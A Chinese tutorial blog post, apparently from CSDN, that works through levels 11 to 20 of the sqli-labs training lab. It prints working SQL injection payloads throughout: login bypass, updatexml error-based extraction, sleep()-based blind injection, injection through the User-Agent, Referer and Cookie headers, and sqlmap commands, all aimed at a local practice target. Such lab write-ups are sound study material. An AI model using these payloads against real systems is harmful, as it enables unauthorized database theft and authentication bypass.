在sqli-liabs学习SQL注入之旅(第十一关~第二十关)

十一关

可以看到十一关和之前的十关是截然不同,偶尔也得换换口味才有新鲜感嘛!话不多说,开搞!

前言:这里有两个提交框,我们应该从哪里注入呢?这并不是困扰我们的问题。我们在实战中应该多方面测试,两个框都测试一下,那个可以就搞那个咯!多搞点不亏的!咳咳咳。

第一步:判断参数接受的类型。
账号:admin'      密码:1111         页面报错
账号:admin' #    密码:1111         登录成功(说明这一关存在弱口令,但我们要学习的是SQL注入)
账号:admin       密码:1111'        页面报错
账号:admin       密码:1111' #      页面正常    判断参数接受方式  password = '$password'  

注意:这里我们注入点在 password 中,其实 username 也是可以的。我们分析下源码就清楚了。

查看第一关的源码:
@$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";               参数类型判断正确!

如果我们注入username,后面的语句都被我们注释掉了,那么就变成了:
@$sql="SELECT username, password FROM users WHERE username='admin'   
这样就会直接登录成功,去数据库找damin用户并输出在页面中。如果我们一定要在username上面注入,可以这样(注意:这里的admin可以是随便任何字符,并不固定)
-admin") and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1) #

第二步:直接上报错注入语句
账号:admin
密码:-1' and updatexml(1,concat(0x7e,(select database()),0x7e),1) #    成功获取数据库名

第三步:爆所有表名

?id=-1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1) #

 后面爆列名,爆数据我就不重复了,前面十关的语句如果我们有收藏,这里直接复制粘贴即可!

这里有个小疑问:为什么前面都使用 --+ 注释后面的语句,到这里变  #  了。其实我也没搞懂,只是因为 --+ 在这里行不通,不行你试试!实战中我们两个都试一下就行了。

也可以使用工具sqlmap一把梭

由于这里是POST注入,我们需要抓个包,然后保存文档去跑

第一步:输入账号密码,提交后,使用burp suite抓个包!

第二步:将抓包到的数据复制到一个txt文件,然后使用sqlmap工具来实现POST注入

 最终效果

十二关

第一步:猜参数接受类型

账号:admin'      密码:1111        页面正常
账号:admin"      密码:1111        页面报错     判断有 "  ,从页面的报错可以知道还有 () 
账号:admin") #   密码:1111        页面正常     判断参数接受方式:username = ("$username") 

查看第十二关源码:
$uname='"'.$uname.'"';
$passwd='"'.$passwd.'"'; 
@$sql="SELECT username, password FROM users WHERE username=($uname) and password=($passwd) LIMIT 0,1";      判断正确  

第二步:直接上使用报错语句
-admin") and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1) #

后面的不做重复,参考前面的关卡!!

十三关

这一关和十二关类似,区别在于参数的接受方式不同:

十二关:username = ("$username")                 双引号

十三关:username = ('$username')                 单引号

第十三关源码:@$sql="SELECT username, password FROM users WHERE username=('$uname') and password=('$passwd') LIMIT 0,1";

十四关

这一关更简单,使用的是 " 接受参数类型。

这一关使用的参数接受类型:password="$passwd" 

第十四关源码:
$uname='"'.$uname.'"';
$passwd='"'.$passwd.'"'; 
@$sql="SELECT username, password FROM users WHERE username=$uname and password=$passwd LIMIT 0,1";

后续操作看前面的关卡,不再重复!!

十五关

第一步:猜参数接受类型

账号:admin'       密码:1111        页面正常
账号:admin"       密码:1111        页面正常     
账号:admin')      密码:1111        页面正常    判断页面无论对错都不返回东西。只能上绝招!!

第二步:延时注入

账号:admin' and sleep(5)    页面停5秒        判断代码: username = ('$username')

查看十五关源码:@$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";            判断正确

注意:延时注入语句 admin' and sleep(5)  前提是admin必须正确!!!不然无论如何页面都没反应。

接下来的操作和前面关卡的延时注入一样。区别在于前面是 GET方式 注入,这里是 POST方式 注入。

小结:这关考核了延时注入,当然前面几关也可以延时注入,不过我们要节省时间,高效为主。不得已才用延时注入!

报错注入语句形式:?id=-1' and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+

延时注入语句形式:admin") and if(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1)='e',sleep(5),1)  #

*可以发现,报错注入前面的参数只要出错,后面的语句就能执行。

*但是延时注入不同,我们必须保证前提条件admin正确,and后面的语句才会被执行。我们才能知道我们后面的语句是否正确!!!

十六关 

这一关和十五关类似,也是使用延时注入!区别在于参数的接受方式不同:

十五关:admin' and sleep(5) #                        username = '$username'

十六关:admin") and sleep(5) #                      username = ("$username")

十七关

这一关页面提示了我们,重置密码。其实万变不离其宗!开搞!!!

第一步:猜参数接受方式

账号:admin'   密码:111       页面显示更改失败
账号:admin"   密码:111       页面显示更改失败   到这里我们发现账号没注入点,那就试试注入密码
账号:admin    密码:111'      页面报错
账号:admin    密码:111' #    页面正常        判断接受方式为:password = '$password'

查看十七关源码:

@$sql="SELECT username, password FROM users WHERE username= $uname LIMIT 0,1";

$result=mysql_query($sql);
$row = mysql_fetch_array($result);
//echo $row;
	if($row)
	{
  		//echo '<font color= "#0000ff">';	
		$row1 = $row['username'];  	
		//echo 'Your Login name:'. $row1;
		$update="UPDATE users SET password = '$passwd' WHERE username='$row1'";
		mysql_query($update);
  		echo "<br>";

因为这一关是更改密码操作,我们看到了下面update语句中password接受方式,证明我们判断正确!!!
而且这里 username='$row1' 使用的是预编译,不存在注入点!

第二步:我们知道了注入点在 password 直接上报错语句就好了!

账号:admin
密码:-1' and updatexml(1,concat(0x7e,(select database()),0x7e),1)#

注意:我们判断参数接受的时候(账号:admin    密码:111' #    页面正常)这条语句会把我们数据库所有的账号密码改成 111 ,我们只需要重置下sqliabs数据库即可。如下

十八关

 根据这一关的页面提示,我们的注入应该和your ip address is:127.0.0.1 有关,所以实战网页中把握每一处细节才能找到漏洞!

第一步:猜参数接受方式

账号:admin'   密码:111       页面显示更改失败
账号:admin"   密码:111       页面显示更改失败   到这里我们发现账号没注入点,那就试试注入密码
账号:admin    密码:111'      页面显示更改失败
账号:admin    密码:111' #    页面显示更改失败   看来注入点不在账号密码中

都没有,那我们模拟实战中普通用户正常登录康康
账号:admin    密码:admin        我的账号密码是这样的,你们的按自己的来

登录后,可以看见页面输出了我们的User-Agent头内容,大概猜到这关考的是请求头注入!不同什么是数据包请求头的小伙伴可以自己百度,这是基础来的!

我们使用抓包神器 burp suite 抓个包看看请求头内容

 

 页面报错,说明存在注入,直接上报错语句。

 这里我们根据前面关卡的经验,绞尽脑汁也未能跑出我们要看到的数据!所以我们只能去分析十八关源码。

 我们这样去构造语句:

之前的报错语句写法

' and updatexml(1,concat(0x7e,(select database()),0x7e),1) #

这一关的报错语句写法,可以看到后面多了个 ) ,目的是去闭合语句中前面的 ( 变成一个完整的()。这样VALUES就可以从括号中正常取值,我们的SQL语句就能被成功执行!

' and updatexml(1,concat(0x7e,(select database()),0x7e),1)) #

 成功跑出数据库名,后面的表名,列名就不再重复。主要学思路!

 这一关如果不看源码,大部分的人都无法成功注入!所以通过多打靶场积累经验,这样实战才能得心应手!!!

当然也可以使用sqlmap神器一把梭

因为是注入UA头,所以 level 等级设置为 3
python sqlmap.py -u http://127.0.0.1/sqli-labs/Less-18/index.php?id=1 --level 3 --dbs

十九关

 这一关和十八关类型一样,区别在于上一关在User-Agent注入,这一关在Referer中进行注入!!

 二十关

这一关和十八关十九关类似,属于cookie注入!不过这里多考察了一个burp suite工具抓返回包的操作,通过抓登录后的返回包中修改cookie实现SQL注入!!!

找到注入点在cookie中,我们就可以使用之前的操作进行注入了。

总结:

1.第一关到第十关考察GET注入,而十一关到二十关注重考察的是POST注入,HTTP头部注入。

2.HTTP头部注入最常见的注入点:User-Agent注入、Referer注入、Cookie注入!

3.HTTP头部注入在实战中,我们需要注意页面显示的信息,有没有返回地址信息、cookie信息等。如果有,我们便可以尝试抓包注入。

4.POST注入和HTTP头部注入在sqlmap工具中的怎么使用注入语句,我们也要认真学好!!

  • 3
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值